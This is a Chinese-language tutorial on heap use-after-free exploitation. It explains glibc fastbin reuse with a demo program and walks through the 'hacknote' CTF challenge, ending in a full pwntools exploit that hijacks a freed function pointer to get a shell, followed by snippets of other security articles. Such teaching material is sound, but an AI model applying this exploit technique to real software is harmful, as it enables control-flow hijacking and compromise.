堆、UAF之PWN从实验到原理

VSole2022-07-08 16:59:40

开局一段代码:

#include  void func1(){    printf("func1");} void hack(){    printf("hack");} struct Pfunc{    void (*p)();};  int main(){    struct Pfunc* lpfunc = malloc(8);    lpfunc->p = func1;    lpfunc->p();     free(lpfunc);      long* hack_point = malloc(8);    *hack_point = hack;     lpfunc->p();    return 0;}

编译32位:gcc -g -m32 test.c

猜一猜程序会怎么执行?

为啥会这样呢?

glibc的ptmalloc在管理释放的内存叫bin,申请的堆块叫chunk

其中小chunk内存管理器叫fastbins,使用的是 LIFO的规则,后进先出。所以申请同样大小的小chunk,会使用最后一次free的chunk

执行完free过后,fastbins中存放了刚刚free的指针0x804b000。

执行malloc(8)后,看到fastbins中的chunk指针没有了。

看下hack_point的地址,确实是刚刚free的地址,此时两个指针指向同一块内存。

为啥这两个指针=0x0804b008,而fastbins存的0x0804b000

在32位下chunk的结构:

struct chunk{    size_t 暂时不管;    size_t size;//低3位不算长度    char user_data[0];}

刚好偏移是8。

ok,搞清楚原理了,来一道题:hacknote.程序提供了记事本功能。

其中add_note函数在notelist中找一个空位置用来写日记,但是删除日记del_note函数中却没有把指针置空。print_note函数可以使用已经free的指针,存在UAF漏洞。

现在的目标就是,把notelist[x]->pFunc= magic,然后使用已经free的notelist[x]。

具体操作如下:

1、因为noteNode的大小为8,如果想准确控制第二个noteNode的pFunc,那么noteNode->note的大小不能是8。创建两个24字节的note后内存长这样:

对照:

2、依次free note[0],note[1],试fastbins变成这样:

0x804b030是note[1]的chunk,0x804b000是note[0]的chunk

也就是之后malloc(8)的时候,第一次会得到0x804b030,第二次会得到0x804b000。

3、创建note[2],使note的大小=8,此时note的地址是0x804b008,仔细看看这个地址,就是note[0]的pFunc。把magic的地址写入,

这时候note[0]->pFunc的值就是magic了。

4、执行print_note(0) 执行0号note的pFunc函数,getshell。

exp:

from pwn import * context.log_level = 'debug' sh = process("./hacknote")# sh = gdb.debug("./hacknote", "b *add_notec")elf = ELF("./hacknote")  def add_note(size, note=b"123"):    sh.sendlineafter(b"Your choice :", b"1")    sh.sendlineafter(b"Note size :", str(size).encode())    sh.sendlineafter(b"Content :", note) def del_note(index):    sh.sendlineafter(b"Your choice :", b"2")    sh.sendlineafter(b"Index :", str(index).encode()) def print_note(index):    sh.sendlineafter(b"Your choice :", b"3")    sh.sendlineafter(b"Index :", str(index).encode()) add_note(24)add_note(24) del_note(0)del_note(1) add_note(8, p32(elf.sym["magic"]))print_note(0) sh.interactive()pause()
指针
本作品采用《CC 协议》,转载必须注明作者和本文链接
控制流劫持攻击是当前较为主流的攻击方式之一,包括ROP、JOP等等。
从代码视角来分析漏洞问题
shellcode loader的编写
2023-04-17 11:15:39
改变加载方式指针执行#include?参数1:分配的内存的起始地址,如果为NULL则由系统决定。参数2:分配的内存大小,以字节为单位。参数3:分配的内存类型,MEM_COMMIT表示将分配的内存立即提交给物理内存,MEM_RESERVE表示保留内存但不提交。参数4:分配的内存保护属性,PAGE_READWRITE可读可写,PAGE_EXECUTE_READ可执行可读。结构体的指针,用于指定新线程的安全属性,NULL表示默认安全属性
针对具有推测执行的Apple M1 CPU中的指针身份验证的新硬件攻击使攻击者能够在Mac系统上获得任意代码执行。
而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。而原型机制恰好满足这种需求。打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用1> 原型链和继承?原型链原型链是在原型上实现继承的一种形式举个例子:function?优化判断是否为同一对象,是则直接返回
Optional对象创建首先我们先打开Optional的内部,去一探究竟 先把几个创建Optional对象的方法提取出来public?我们可以看到两个构造方格都是private?我们没办法在外面去new出来Optional对象。这个静态方法大致?是创建出一个包装值为空的一个对象因为没有任何参数赋值。再做一个简单的实例展示 与上面对应//?//如果为空直接返回this
前言1.漏洞描述在win32k!xxxMNEndMenuState函数中,函数会调用MNFreePopup函数释放tagPOPUPMENU对象,但是函数释放对象以后,没有清空指针。而在弹出窗口过程中,用户可以劫持相应的处理函数来实现两次调用xxxMNEndMenuState函数,因为双重释放导致BSOD的产生。通过内存布局,可以伪装tagPOPUPMENU对象在释放的内存空间中,通过解引用修改窗口对象的关键的标志位,可以通过SendMessage函数让窗口在内核态执行指定的处理函数实现提权操作。
近日,安识科技A-Team团队监测到一则 Linux Kernel 组件存在权限提升漏洞的信息,漏洞编号:CVE-2022-23222,漏洞威胁等级:高危。 该漏洞是由于 Linux 内核的 BPF 验证器存在一个空指针漏洞,没有对 *_OR_NULL 指针类型进行限制,允许这些类型进行指针运算。攻击者可利用该漏洞在获得低权限的情况下,构造恶意数据执行空指针引用攻击,最终获取服务器 root
缓冲区溢出及其发生方式
VSole
网络安全专家